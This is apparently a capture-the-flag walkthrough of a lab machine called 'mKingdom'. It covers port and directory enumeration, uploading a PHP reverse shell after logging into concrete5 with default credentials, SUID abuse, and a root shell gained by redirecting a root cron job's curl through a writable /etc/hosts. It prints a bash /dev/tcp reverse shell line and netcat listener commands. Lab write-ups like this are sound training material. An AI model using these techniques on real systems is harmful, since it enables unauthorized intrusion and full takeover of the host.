Wanna watch a video?
Another day, another machine. This time we’ll try to solve mKingdom This is a really new machine for me, as it was published a day or two ago, so off we go.
Enumeration
Start with port scan
$ rustscan -a $IP -- -sC -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \\ | `| |
| .-. \\| {_} |.-._} } | | .-._} }\\ }/ /\\ \\| |\\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: <http://discord.skerritt.blog> :
: <https://github.com/RustScan/RustScan> :
--------------------------------------
😵 <https://admin.tryhackme.com>
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.52.202:85
[~] Starting Script(s)
[...]
PORT STATE SERVICE REASON VERSION
85/tcp open http syn-ack Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN
Only one port open? All right, we’re going to figure something out.
Web Enumeration
The index page itself had no interesting information, so I brute-forced directories with gobuster
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u "<http://$IP:85/>" -x html,js,txt,php -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: <http://10.10.52.202:85/>
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,js,txt,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
[...]
/app (Status: 301) [Size: 312] [--> <http://10.10.52.202:85/app/>]
/index.html (Status: 200) [Size: 647]
/index.html (Status: 200) [Size: 647]
/server-status (Status: 403) [Size: 292]
Progress: 23080 / 23085 (99.98%)
===============================================================
Finished
===============================================================
There’s /app
directory - let’s visit it
/app
has just a button, but when we click it, we get redirected to a blog running concrete5
CMS
Wappalyzer gave us the version - 8.5.2
Web Exploiting
I was looking for some exploits online and I’ve found this report But it requires a user, which we don’t have yet
Yet bit of brute-forcing gave me creds admin:password
Now it’s time to follow that report - Go to navbar -> System & Settings
-> Files
-> Allowed File Types
Then edit that input and add php
Now go to Files
in the same nav and upload PHP reverse shell - like the one from pentestMonkey
After upload we see the link - set up a netcat listener
$ nc -lvnp 1337
Now visit that link and we’ve got the shell
Privilege escalation pt.1 - User toad
Stabilize your shell with Python.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
Now I see that cat
has SUID permissions as toad
$ find / -type f -perm -04000 -ls 2>/dev/null
[...]
-rwsr-xr-x 1 toad root 47K Mar 10 2016 /bin/cat
[...]
Quick trip to GTFOBins
assured me that I can read files in toad
home dir - like .bashrc
It gave me something
$ /bin/cat /home/toad/.bashrc
[...]
export PWD_token='[TOKEN]'
After decoding I got something Let’s save it. It might be useful one day
LinPeas
gave me as well
╔══════════╣ Searching passwords in config PHP files
'password' => '[REDACTED]',
const USER_CHANGE_PASSWORD_URL_LIFETIME = 7200;
const USER_PASSWORD_RESET = 24;
const UVTYPE_CHANGE_PASSWORD = 1;
'password_credentials' => t('Password Credentials'),
And it’s the password for toad
$ su toad
Password: [REDACTED]
Privilege Escalation pt.2 - User mario
Turns out PWD_TOKEN
which we’ve found in /home/toad/.bashrc
is mario’s password
Time for root!
Privilege Escalation pt.3 - Root
Running pspy
gave me something - every interval some process sends an http request to the domain
2024/06/15 17:24:01 CMD: UID=0 PID=12304 | curl mkingdom.thm:85/app/castle/application/counter.sh
2024/06/15 17:24:01 CMD: UID=0 PID=12303 | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
We can “hijack” the domain and put in this counter.sh
another reverse shell as /etc/hosts
allows us to write something in it
$ ls -la /etc/hosts
ls -la /etc/hosts
-rw-rw-r-- 1 root mario 342 Jan 26 19:53 /etc/hosts
Let’s create a payload first We need following directory structure
/app
/castle
/application
And inside application
a file called counter.sh
with reverse shell
bash -i 1>& /dev/tcp/[YOUR IP]/1338 0>&1
Now, go back 3 directories and start python web server on port 85
$ cd ../../../
$ python3 -m http.server 85
After all, in another terminal set up a netcat
listener
$ nc -lvnp 1338
Coming back to attacked machine - replace the contents of /etc/hosts
with an entry for mkingdom.thm
pointing to your IP
$ echo "[YOUR IP] mkingdom.thm" > /etc/hosts
After a while, root shell should appear in our netcat
listener
# whoami
root
And that’s it - machine pwned!
Little annotation to flags
Because cat
has toad
user as its owner and has SUID bit set, we can’t read any flag using it
Luckily vi
works - use it to read the flags. You can exit it by typing :q
Conclusion
It was tough, I’ll be realistic
There was a lot of dead ends and I’ve struggled to solve it for a while
I’d rate it more as medium
rather than easy
, even though mostly it was pretty straight forward
Remember, enumeration is key and don’t forget about pspy
See you next time!